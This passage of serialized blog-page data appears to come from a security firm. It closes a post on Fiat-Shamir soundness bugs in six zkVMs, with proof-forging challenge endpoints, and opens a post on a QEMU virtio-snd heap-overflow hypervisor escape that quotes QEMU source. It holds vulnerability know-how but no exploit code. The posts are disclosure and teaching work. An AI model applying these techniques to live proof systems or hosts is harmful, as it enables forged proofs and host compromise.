of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":284,"props":129914,"children":129916},{"className":129915},[2949,2950],[129917],{"type":24,"tag":327,"props":129918,"children":129920},{"className":129919},[2955],[129921],{"type":24,"tag":327,"props":129922,"children":129924},{"className":129923,"ariaHidden":2961},[2960],[129925],{"type":24,"tag":327,"props":129926,"children":129928},{"className":129927},[2966],[129929,129933,129938,129943,129947,129952,129957,129961],{"type":24,"tag":327,"props":129930,"children":129932},{"className":129931,"style":121829},[2971],[],{"type":24,"tag":327,"props":129934,"children":129936},{"className":129935},[2977,2978],[129937],{"type":29,"value":57},{"type":24,"tag":327,"props":129939,"children":129941},{"className":129940},[11695],[129942],{"type":29,"value":11698},{"type":24,"tag":327,"props":129944,"children":129946},{"className":129945,"style":3169},[2992],[],{"type":24,"tag":327,"props":129948,"children":129950},{"className":129949},[2977,2978],[129951],{"type":29,"value":10828},{"type":24,"tag":327,"props":129953,"children":129955},{"className":129954},[11695],[129956],{"type":29,"value":11698},{"type":24,"tag":327,"props":129958,"children":129960},{"className":129959,"style":3169},[2992],[],{"type":24,"tag":327,"props":129962,"children":129964},{"className":129963},[2977,2978],[129965],{"type":29,"value":320},{"type":29,"value":116430},{"type":24,"tag":284,"props":129968,"children":129970},{"className":129969},[2949,2950],[129971],{"type":24,"tag":327,"props":129972,"children":129974},{"className":129973},[2955],[129975],{"type":24,"tag":327,"props":129976,"children":129978},{"className":129977,"ariaHidden":2961},[2960],[129979,130042,130104,130210],{"type":24,"tag":327,"props":129980,"children":129982},{"className":129981},[2966],[129983,129988,130029,130033,130038],{"type":24,"tag":327,"props":129984,"children":129987},{"className":129985,"style":129986},[2971],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":129989,"children":129991},{"className":129990},[2977],[129992,129997],{"type":24,"tag":327,"props":129993,"children":129995},{"className":129994},[2977,2978],[129996],{"type":29,"value":57},{"type":24,"tag":327,"props":129998,"children":130000},{"className":129999},[3032],[130001],{"type":24,"tag":327,"props":130002,"children":130004},{"className":130003},[3037],[130005],{"type":24,"tag":327,"props":130006,"children":130008},{"className":130007},[3043],[130009],{"type":24,"tag":327,"props":130010,"children":130012},{"className":130011,"style":11594},[3048],[130013],{"type":24,"tag":327,"props":130014,"children":130015},{"style":11628},[130016,130020],{"type":24,"tag":327,"props":130017,"children":130019},{"className":130018,"style":3059},[3058],[],{"type":24,"tag":327,"props":130021,"children":130023},{"className":130022},[3064,3065,3066,3067],[130024],{"type":24,"tag":327,"props":130025,"children":130027},{"className":130026},[2977,3067],[130028],{"type":29,"value":24805},{"type":24,"tag":327,"props":130030,"children":130032},{"className":130031,"style":3705},[2992],[],{"type":24,"tag":327,"props":130034,"children":130036},{"className":130035},[3710],[130037],{"type":29,"value":394},{"type":24,"tag":327,"props":130039,"children":130041},{"className":130040,"style":3705},[2992],[],{"type":24,"tag":327,"props":130043,"children":130045},{"className":130044},[2966],[130046,130050,130091,130095,130100],{"type":24,"tag":327,"props":130047,"children":130049},{"className":130048,"style":11594},[2971],[],{"type":24,"tag":327,"props":130051,"children":130053},{"className":130052},[2977],[130054,130059],{"type":24,"tag":327,"props":130055,"children":130057},{"className":130056},[2977,2978],[130058],{"type":29,"value":10828},{"type":24,"tag":327,"props":130060,"children":130062},{"className":130061},[3032],[130063],{"type":24,"tag":327,"props":130064,"children":130066},{"className":130065},[3037],[130067],{"type":24,"tag":327,"props":130068,"children":130070},{"className":130069},[3043],[130071],{"type":24,"tag":327,"props":130072,"children":130074},{"className":130073,"style":11594},[3048],[130075],{"type":24,"tag":327,"props":130076,"children":130077},{"style":11628},[130078,130082],{"type":24,"tag":327,"props":130079,"children":130081},{"className":130080,"style":3059},[3058],[],{"type":24,"tag":327,"props":130083,"children":130085},{"className":130084},[3064,3065,3066,3067],[130086],{"type":24,"tag":327,"props":130087,"children":130089},{"className":130088},[2977,3067],[130090],{"type":29,"value":24805},{"type":24,"tag":327,"props":130092,"children":130094},{"className":130093,"style":2993},[2992],[],{"type":24,"tag":327,"props":130096,"children":130098},{"className":130097},[2998],[130099],{"type":29,"value":384},{"type":24,"tag":327,"props":130101,"children":130103},{"className":130102,"style":2993},[2992],[],{"type":24,"tag":327,"props":130105,"children":130107},{"className":130106},[2966],[130108,130113,130154,130159,130163,130168,130173,130177,130182,130187,130191,130196,130200,130206],{"type":24,"tag":327,"props":130109,"children":130112},{"className":130110,"style":130111},[2971],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":130114,"children":130116},{"className":130115},[2977],[130117,130122],{"type":24,"tag":327,"props":130118,"children":130120},{"className":130119},[2977,2978],[130121],{"type":29,"value":320},{"type":24,"tag":327,"props":130123,"children":130125},{"className":130124},[3032],[130126],{"type":24,"tag":327,"props":130127,"children":130129},{"className":130128},[3037],[130130],{"type":24,"tag":327,"props":130131,"children":130133},{"className":130132},[3043],[130134],{"type":24,"tag":327,"props":130135,"children":130137},{"className":130136,"style":11594},[3048],[130138],{"type":24,"tag":327,"props":130139,"children":130140},{"style":11628},[130141,130145],{"type":24,"tag":327,"props":130142,"children":130144},{"className":130143,"style":3059},[3058],[],{"type":24,"tag":327,"props":130146,"children":130148},{"className":130147},[3064,3065,3066,3067],[130149],{"type":24,"tag":327,"props":130150,"children":130152},{"className":130151},[2977,3067],[130153],{"type":29,"value":24805},{"type":24,"tag":327,"props":130155,"children":130157},{"className":130156},[11695],[130158],{"type":29,"value":11698},{"type":24,"tag":327,"props":130160,"children":130162},{"className":130161,"style":3169},[2992],[],{"type":24,"tag":327,"props":130164,"children":130166},{"className":130165},[2977,2978],[130167],{"type":29,"value":57},{"type":24,"tag":327,"props":130169,"children":130171},{"className":130170},[11695],[130172],{"type":29,"value":11698},{"type":24,"tag":327,"props":130174,"children":130176},{"className":130175,"style":3169},[2992],[],{"type":24,"tag":327,"props":130178,"children":130180},{"className":130179},[2977,2978],[130181],{"type":29,"value":10828},{"type":24,"tag":327,"props":130183,"children":130185},{"className":130184},[11695],[130186],{"type":29,"value":11698},{"type":24,"tag":327,"props":130188,"children":130190},{"className":130189,"style":3169},[2992],[],{"type":24,"tag":327,"props":130192,"children":130194},{"className":130193},[2977,2978],[130195],{"type":29,"value":320},{"type":24,"tag":327,"props":130197,"children":130199},{"className":130198,"style":2993},[2992],[],{"type":24,"tag":327,"props":130201,"children":130203},{"className":130202},[2998],[130204],{"type":29,"value":130205},"≥",{"type":24,"tag":327,"props":130207,"children":130209},{"className":130208,"style":2993},[2992],[],{"type":24,"tag":327,"props":130211,"children":130213},{"className":130212},[2966],[130214,130218],{"type":24,"tag":327,"props":130215,"children":130217},{"className":130216,"style":100805},[2971],[],{"type":24,"tag":327,"props":130219,"children":130221},{"className":130220},[2977],[130222],{"type":29,"value":3238},{"type":29,"value":130224},". Good luck!",{"type":24,"tag":235,"props":130226,"children":130228},{"id":130227},"jolt",[130229],{"type":29,"value":114587},{"type":24,"tag":25,"props":130231,"children":130232},{},[130233,130235,130246,130248],{"type":29,"value":130234},"See ",{"type":24,"tag":57,"props":130236,"children":130243},{"href":130237,"target":130238,"rel":130239,"download":130242},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[130240,130241],"noopener","noreferrer","handout_jolt.tar.gz",[130244],{"type":29,"value":130245},"the handout",{"type":29,"value":130247}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":284,"props":130249,"children":130251},{"className":130250},[],[130252],{"type":29,"value":130253},"jolt.chal.osec.io:8960",{"type":24,"tag":235,"props":130255,"children":130257},{"id":130256},"nexus-1",[130258],{"type":29,"value":114593},{"type":24,"tag":25,"props":130260,"children":130261},{},[130262,130263,130270,130271],{"type":29,"value":130234},{"type":24,"tag":57,"props":130264,"children":130268},{"href":130265,"target":130238,"rel":130266,"download":130267},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[130240,130241],"handout_nexus.tar.gz",[130269],{"type":29,"value":130245},{"type":29,"value":130247},{"type":24,"tag":284,"props":130272,"children":130274},{"className":130273},[],[130275],{"type":29,"value":130276},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":130278,"children":130279},{},[130280],{"type":29,"value":130281},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":68,"props":130283,"children":130284},{},[],{"type":24,"tag":228,"props":130286,"children":130288},{"id":130287},"takeaways",[130289],{"type":29,"value":130290},"Takeaways",{"type":24,"tag":25,"props":130292,"children":130293},{},[130294],{"type":29,"value":130295},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":130297,"children":130298},{},[130299],{"type":29,"value":130300},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":130302,"children":130303},{},[130304,130309],{"type":24,"tag":188,"props":130305,"children":130306},{},[130307],{"type":29,"value":130308},"For the ZK ecosystem:",{"type":29,"value":130310}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":130312,"children":130313},{},[130314],{"type":29,"value":130315},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":130317,"children":130318},{},[130319,130324],{"type":24,"tag":188,"props":130320,"children":130321},{},[130322],{"type":29,"value":130323},"For auditors:",{"type":29,"value":130325}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":130327,"children":130328},{},[130329,130334],{"type":24,"tag":188,"props":130330,"children":130331},{},[130332],{"type":29,"value":130333},"For builders:",{"type":29,"value":130335}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":10448,"props":130337,"children":130338},{},[130339],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":130341},[130342,130343,130346,130352,130353,130361,130367,130370,130371,130375],{"id":114638,"depth":367,"text":114641},{"id":114780,"depth":367,"text":114783,"children":130344},[130345],{"id":114786,"depth":408,"text":114789},{"id":115215,"depth":367,"text":115218,"children":130347},[130348,130349,130350,130351],{"id":115226,"depth":408,"text":115229},{"id":115414,"depth":408,"text":115417},{"id":118795,"depth":408,"text":118798},{"id":120009,"depth":408,"text":120012},{"id":121646,"depth":367,"text":121649},{"id":122152,"depth":367,"text":122155,"children":130354},[130355,130356,130357,130358,130359,130360],{"id":122174,"depth":408,"text":122177},{"id":123499,"depth":408,"text":114593},{"id":124635,"depth":408,"text":124638},{"id":125303,"depth":408,"text":125306},{"id":127959,"depth":408,"text":127962},{"id":128513,"depth":408,"text":114617},{"id":129442,"depth":367,"text":129445,"children":130362},[130363,130364,130365,130366],{"id":129453,"depth":408,"text":129456},{"id":129623,"depth":408,"text":129626},{"id":129647,"depth":408,"text":129650},{"id":129663,"depth":408,"text":129666},{"id":129677,"depth":367,"text":129680,"children":130368},[130369],{"id":129683,"depth":408,"text":129686},{"id":129717,"depth":367,"text":129720},{"id":129894,"depth":367,"text":114630,"children":130372},[130373,130374],{"id":130227,"depth":408,"text":114587},{"id":130256,"depth":408,"text":114593},{"id":130287,"depth":367,"text":130290},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":130380,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":130381,"description":130382,"date":130383,"author":130384,"image":130385,"isFeatured":16,"onBlogPage":16,"tags":130387,"body":130390,"_type":10481,"_id":138676,"_source":10483,"_file":138677,"_stem":138678,"_extension":10486},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":130386,"width":103995,"height":14},"/posts/virtio-snd-qemu-0day/title.png",[130388,130389],"qemu","heap-overflow",{"type":21,"children":130391,"toc":138658},[130392,130397,130402,130407,130413,130418,130423,130431,130437,130449,130453,130458,130466,130471,130477,130482,130495,131105,131140,131185,131219,131254,131389,131437,131443,131448,132204,132249,132285,132320,132385,132405,132855,132902,132905,132910,132975,133001,133023,133027,133032,133037,133043,133048,133053,133058,133064,133077,133083,133088,133096,133166,133171,133177,133190,133416,133479,133498,133881,133886,133919,133924,134200,134212,134230,134509,134521,134524,134559,134564,134570,134582,134594,134599,134604,134614,134649,135266,135298,135309,135345,135358,135364,135376,135384,135410,135415,135448,135489,135495,135514,135552,135560,135609,135614,135663,135668,135676,135763,135769,135808,135820,135828,135846,135865,135873,135885,135893,135912,135920,135931,135939,135950,135958,135971,135979,135985,135990,136003,136011,136029,136037,136049,136054,136062,136098,136131,136138,136172,136180,136185,136191,136203,136214,136493,136553,136621,136629,136663,137267,137278,137286,137292,137297,137308,138062,138095,138107,138193,138213,138422,138469,138481,138487,138506,138532,138560,138576,138603,138606,138626,138640,138644,138649,138654],{"type":24,"tag":25,"props":130393,"children":130394},{},[130395],{"type":29,"value":130396},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":228,"props":130398,"children":130399},{"id":130388},[130400],{"type":29,"value":130401},"QEMU",{"type":24,"tag":25,"props":130403,"children":130404},{},[130405],{"type":29,"value":130406},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":235,"props":130408,"children":130410},{"id":130409},"virtio-devices",[130411],{"type":29,"value":130412},"Virtio Devices",{"type":24,"tag":25,"props":130414,"children":130415},{},[130416],{"type":29,"value":130417},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":130419,"children":130420},{},[130421],{"type":29,"value":130422},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":130424,"children":130425},{},[130426],{"type":24,"tag":11511,"props":130427,"children":130430},{"alt":130428,"src":130429},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":228,"props":130432,"children":130434},{"id":130433},"finding-a-bug",[130435],{"type":29,"value":130436},"Finding a Bug",{"type":24,"tag":25,"props":130438,"children":130439},{},[130440,130442,130448],{"type":29,"value":130441},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":284,"props":130443,"children":130445},{"className":130444},[],[130446],{"type":29,"value":130447},"virtio-snd",{"type":29,"value":66},{"type":24,"tag":235,"props":130450,"children":130451},{"id":130447},[130452],{"type":29,"value":130447},{"type":24,"tag":25,"props":130454,"children":130455},{},[130456],{"type":29,"value":130457},"From the official documentation:",{"type":24,"tag":1706,"props":130459,"children":130460},{},[130461],{"type":24,"tag":25,"props":130462,"children":130463},{},[130464],{"type":29,"value":130465},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":25,"props":130467,"children":130468},{},[130469],{"type":29,"value":130470},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":168,"props":130472,"children":130474},{"id":130473},"audio-data-buffers",[130475],{"type":29,"value":130476},"Audio Data Buffers",{"type":24,"tag":25,"props":130478,"children":130479},{},[130480],{"type":29,"value":130481},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":130483,"children":130484},{},[130485,130487,130493],{"type":29,"value":130486},"For example, the following is ",{"type":24,"tag":284,"props":130488,"children":130490},{"className":130489},[],[130491],{"type":29,"value":130492},"virtio_snd_handle_rx_xfer",{"type":29,"value":130494},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":317,"props":130496,"children":130498},{"code":130497,"language":320,"meta":7,"className":321,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[130499],{"type":24,"tag":284,"props":130500,"children":130501},{"__ignoreMap":7},[130502,130509,130517,130525,130532,130540,130548,130556,130604,130611,130628,130635,130642,130654,130671,130678,130714,130734,130745,130752,130759,130767,130774,130807,130866,130884,130923,130948,130972,131000,131027,131065,131072,131084,131091,131098],{"type":24,"tag":327,"props":130503,"children":130504},{"class":329,"line":330},[130505],{"type":24,"tag":327,"props":130506,"children":130507},{"style":551},[130508],{"type":29,"value":56086},{"type":24,"tag":327,"props":130510,"children":130511},{"class":329,"line":367},[130512],{"type":24,"tag":327,"props":130513,"children":130514},{"style":551},[130515],{"type":29,"value":130516}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":327,"props":130518,"children":130519},{"class":329,"line":408},[130520],{"type":24,"tag":327,"props":130521,"children":130522},{"style":551},[130523],{"type":29,"value":130524}," * respective streams for consumption.\n",{"type":24,"tag":327,"props":130526,"children":130527},{"class":329,"line":421},[130528],{"type":24,"tag":327,"props":130529,"children":130530},{"style":551},[130531],{"type":29,"value":817},{"type":24,"tag":327,"props":130533,"children":130534},{"class":329,"line":450},[130535],{"type":24,"tag":327,"props":130536,"children":130537},{"style":551},[130538],{"type":29,"value":130539}," * @vdev: VirtIOSound device\n",{"type":24,"tag":327,"props":130541,"children":130542},{"class":329,"line":481},[130543],{"type":24,"tag":327,"props":130544,"children":130545},{"style":551},[130546],{"type":29,"value":130547}," * @vq: rx virtqueue\n",{"type":24,"tag":327,"props":130549,"children":130550},{"class":329,"line":500},[130551],{"type":24,"tag":327,"props":130552,"children":130553},{"style":551},[130554],{"type":29,"value":130555}," */\n",{"type":24,"tag":327,"props":130557,"children":130558},{"class":329,"line":529},[130559,130563,130567,130572,130577,130581,130586,130591,130595,130600],{"type":24,"tag":327,"props":130560,"children":130561},{"style":334},[130562],{"type":29,"value":57765},{"type":24,"tag":327,"props":130564,"children":130565},{"style":334},[130566],{"type":29,"value":57770},{"type":24,"tag":327,"props":130568,"children":130569},{"style":340},[130570],{"type":29,"value":130571}," virtio_snd_handle_rx_xfer",{"type":24,"tag":327,"props":130573,"children":130574},{"style":346},[130575],{"type":29,"value":130576},"(VirtIODevice ",{"type":24,"tag":327,"props":130578,"children":130579},{"style":381},[130580],{"type":29,"value":469},{"type":24,"tag":327,"props":130582,"children":130583},{"style":356},[130584],{"type":29,"value":130585},"vdev",{"type":24,"tag":327,"props":130587,"children":130588},{"style":346},[130589],{"type":29,"value":130590},", VirtQueue ",{"type":24,"tag":327,"props":130592,"children":130593},{"style":381},[130594],{"type":29,"value":469},{"type":24,"tag":327,"props":130596,"children":130597},{"style":356},[130598],{"type":29,"value":130599},"vq",{"type":24,"tag":327,"props":130601,"children":130602},{"style":346},[130603],{"type":29,"value":852},{"type":24,"tag":327,"props":130605,"children":130606},{"class":329,"line":538},[130607],{"type":24,"tag":327,"props":130608,"children":130609},{"style":346},[130610],{"type":29,"value":18427},{"type":24,"tag":327,"props":130612,"children":130613},{"class":329,"line":547},[130614,130619,130623],{"type":24,"tag":327,"props":130615,"children":130616},{"style":346},[130617],{"type":29,"value":130618},"    VirtQueueElement ",{"type":24,"tag":327,"props":130620,"children":130621},{"style":381},[130622],{"type":29,"value":469},{"type":24,"tag":327,"props":130624,"children":130625},{"style":346},[130626],{"type":29,"value":130627},"elem;\n",{"type":24,"tag":327,"props":130629,"children":130630},{"class":329,"line":557},[130631],{"type":24,"tag":327,"props":130632,"children":130633},{"style":346},[130634],{"type":29,"value":111528},{"type":24,"tag":327,"props":130636,"children":130637},{"class":329,"line":586},[130638],{"type":24,"tag":327,"props":130639,"children":130640},{"emptyLinePlaceholder":16},[130641],{"type":29,"value":544},{"type":24,"tag":327,"props":130643,"children":130644},{"class":329,"line":1017},[130645,130649],{"type":24,"tag":327,"props":130646,"children":130647},{"style":425},[130648],{"type":29,"value":10643},{"type":24,"tag":327,"props":130650,"children":130651},{"style":346},[130652],{"type":29,"value":130653}," (;;) {\n",{"type":24,"tag":327,"props":130655,"children":130656},{"class":329,"line":1026},[130657,130662,130666],{"type":24,"tag":327,"props":130658,"children":130659},{"style":346},[130660],{"type":29,"value":130661},"        VirtIOSoundPCMStream ",{"type":24,"tag":327,"props":130663,"children":130664},{"style":381},[130665],{"type":29,"value":469},{"type":24,"tag":327,"props":130667,"children":130668},{"style":346},[130669],{"type":29,"value":130670},"stream;\n",{"type":24,"tag":327,"props":130672,"children":130673},{"class":329,"line":1048},[130674],{"type":24,"tag":327,"props":130675,"children":130676},{"emptyLinePlaceholder":16},[130677],{"type":29,"value":544},{"type":24,"tag":327,"props":130679,"children":130680},{"class":329,"line":1067},[130681,130686,130690,130695,130700,130704,130709],{"type":24,"tag":327,"props":130682,"children":130683},{"style":346},[130684],{"type":29,"value":130685},"        elem ",{"type":24,"tag":327,"props":130687,"children":130688},{"style":381},[130689],{"type":29,"value":384},{"type":24,"tag":327,"props":130691,"children":130692},{"style":340},[130693],{"type":29,"value":130694}," virtqueue_pop",{"type":24,"tag":327,"props":130696,"children":130697},{"style":346},[130698],{"type":29,"value":130699},"(vq, ",{"type":24,"tag":327,"props":130701,"children":130702},{"style":334},[130703],{"type":29,"value":62049},{"type":24,"tag":327,"props":130705,"children":130706},{"style":346},[130707],{"type":29,"value":130708},"(VirtQueueElement));",{"type":24,"tag":327,"props":130710,"children":130711},{"style":551},[130712],{"type":29,"value":130713},"     // [1]\n",{"type":24,"tag":327,"props":130715,"children":130716},{"class":329,"line":1075},[130717,130721,130725,130729],{"type":24,"tag":327,"props":130718,"children":130719},{"style":425},[130720],{"type":29,"value":8861},{"type":24,"tag":327,"props":130722,"children":130723},{"style":346},[130724],{"type":29,"value":5894},{"type":24,"tag":327,"props":130726,"children":130727},{"style":381},[130728],{"type":29,"value":1986},{"type":24,"tag":327,"props":130730,"children":130731},{"style":346},[130732],{"type":29,"value":130733},"elem) {\n",{"type":24,"tag":327,"props":130735,"children":130736},{"class":329,"line":1084},[130737,130741],{"type":24,"tag":327,"props":130738,"children":130739},{"style":425},[130740],{"type":29,"value":10902},{"type":24,"tag":327,"props":130742,"children":130743},{"style":346},[130744],{"type":29,"value":405},{"type":24,"tag":327,"props":130746,"children":130747},{"class":329,"line":1100},[130748],{"type":24,"tag":327,"props":130749,"children":130750},{"style":346},[130751],{"type":29,"value":8989},{"type":24,"tag":327,"props":130753,"children":130754},{"class":329,"line":1128},[130755],{"type":24,"tag":327,"props":130756,"children":130757},{"emptyLinePlaceholder":16},[130758],{"type":29,"value":544},{"type":24,"tag":327,"props":130760,"children":130761},{"class":329,"line":1148},[130762],{"type":24,"tag":327,"props":130763,"children":130764},{"style":346},[130765],{"type":29,"value":130766},"        [...]\n",{"type":24,"tag":327,"props":130768,"children":130769},{"class":329,"line":1176},[130770],{"type":24,"tag":327,"props":130771,"children":130772},{"emptyLinePlaceholder":16},[130773],{"type":29,"value":544},{"type":24,"tag":327,"props":130775,"children":130776},{"class":329,"line":1184},[130777,130782,130786,130790,130794,130798,130803],{"type":24,"tag":327,"props":130778,"children":130779},{"style":340},[130780],{"type":29,"value":130781},"        WITH_QEMU_LOCK_GUARD",{"type":24,"tag":327,"props":130783,"children":130784},{"style":346},[130785],{"type":29,"value":349},{"type":24,"tag":327,"props":130787,"children":130788},{"style":381},[130789],{"type":29,"value":8716},{"type":24,"tag":327,"props":130791,"children":130792},{"style":356},[130793],{"type":29,"value":42974},{"type":24,"tag":327,"props":130795,"children":130796},{"style":346},[130797],{"type":29,"value":1679},{"type":24,"tag":327,"props":130799,"children":130800},{"style":356},[130801],{"type":29,"value":130802},"queue_mutex",{"type":24,"tag":327,"props":130804,"children":130805},{"style":346},[130806],{"type":29,"value":364},{"type":24,"tag":327,"props":130808,"children":130809},{"class":329,"line":1192},[130810,130815,130819,130824,130828,130832,130836,130841,130845,130849,130853,130858,130862],{"type":24,"tag":327,"props":130811,"children":130812},{"style":346},[130813],{"type":29,"value":130814},"            size ",{"type":24,"tag":327,"props":130816,"children":130817},{"style":381},[130818],{"type":29,"value":384},{"type":24,"tag":327,"props":130820,"children":130821},{"style":340},[130822],{"type":29,"value":130823}," iov_size",{"type":24,"tag":327,"props":130825,"children":130826},{"style":346},[130827],{"type":29,"value":349},{"type":24,"tag":327,"props":130829,"children":130830},{"style":356},[130831],{"type":29,"value":58785},{"type":24,"tag":327,"props":130833,"children":130834},{"style":346},[130835],{"type":29,"value":1679},{"type":24,"tag":327,"props":130837,"children":130838},{"style":356},[130839],{"type":29,"value":130840},"in_sg",{"type":24,"tag":327,"props":130842,"children":130843},{"style":346},[130844],{"type":29,"value":2744},{"type":24,"tag":327,"props":130846,"children":130847},{"style":356},[130848],{"type":29,"value":58785},{"type":24,"tag":327,"props":130850,"children":130851},{"style":346},[130852],{"type":29,"value":1679},{"type":24,"tag":327,"props":130854,"children":130855},{"style":356},[130856],{"type":29,"value":130857},"in_num",{"type":24,"tag":327,"props":130859,"children":130860},{"style":346},[130861],{"type":29,"value":1674},{"type":24,"tag":327,"props":130863,"children":130864},{"style":381},[130865],{"type":29,"value":57582},{"type":24,"tag":327,"props":130867,"children":130868},{"class":329,"line":1212},[130869,130874,130879],{"type":24,"tag":327,"props":130870,"children":130871},{"style":334},[130872],{"type":29,"value":130873},"                sizeof",{"type":24,"tag":327,"props":130875,"children":130876},{"style":346},[130877],{"type":29,"value":130878},"(virtio_snd_pcm_status);",{"type":24,"tag":327,"props":130880,"children":130881},{"style":551},[130882],{"type":29,"value":130883},"                  // [2]\n",{"type":24,"tag":327,"props":130885,"children":130886},{"class":329,"line":4841},[130887,130892,130896,130901,130905,130909,130914,130918],{"type":24,"tag":327,"props":130888,"children":130889},{"style":346},[130890],{"type":29,"value":130891},"            buffer ",{"type":24,"tag":327,"props":130893,"children":130894},{"style":381},[130895],{"type":29,"value":384},{"type":24,"tag":327,"props":130897,"children":130898},{"style":340},[130899],{"type":29,"value":130900}," g_malloc0",{"type":24,"tag":327,"props":130902,"children":130903},{"style":346},[130904],{"type":29,"value":349},{"type":24,"tag":327,"props":130906,"children":130907},{"style":334},[130908],{"type":29,"value":62049},{"type":24,"tag":327,"props":130910,"children":130911},{"style":346},[130912],{"type":29,"value":130913},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":327,"props":130915,"children":130916},{"style":381},[130917],{"type":29,"value":394},{"type":24,"tag":327,"props":130919,"children":130920},{"style":346},[130921],{"type":29,"value":130922}," size);\n",{"type":24,"tag":327,"props":130924,"children":130925},{"class":329,"line":4862},[130926,130931,130935,130939,130943],{"type":24,"tag":327,"props":130927,"children":130928},{"style":356},[130929],{"type":29,"value":130930},"            buffer",{"type":24,"tag":327,"props":130932,"children":130933},{"style":346},[130934],{"type":29,"value":1679},{"type":24,"tag":327,"props":130936,"children":130937},{"style":356},[130938],{"type":29,"value":58785},{"type":24,"tag":327,"props":130940,"children":130941},{"style":381},[130942],{"type":29,"value":4809},{"type":24,"tag":327,"props":130944,"children":130945},{"style":346},[130946],{"type":29,"value":130947}," elem;\n",{"type":24,"tag":327,"props":130949,"children":130950},{"class":329,"line":4870},[130951,130955,130959,130963,130967],{"type":24,"tag":327,"props":130952,"children":130953},{"style":356},[130954],{"type":29,"value":130930},{"type":24,"tag":327,"props":130956,"children":130957},{"style":346},[130958],{"type":29,"value":1679},{"type":24,"tag":327,"props":130960,"children":130961},{"style":356},[130962],{"type":29,"value":130599},{"type":24,"tag":327,"props":130964,"children":130965},{"style":381},[130966],{"type":29,"value":4809},{"type":24,"tag":327,"props":130968,"children":130969},{"style":346},[130970],{"type":29,"value":130971}," 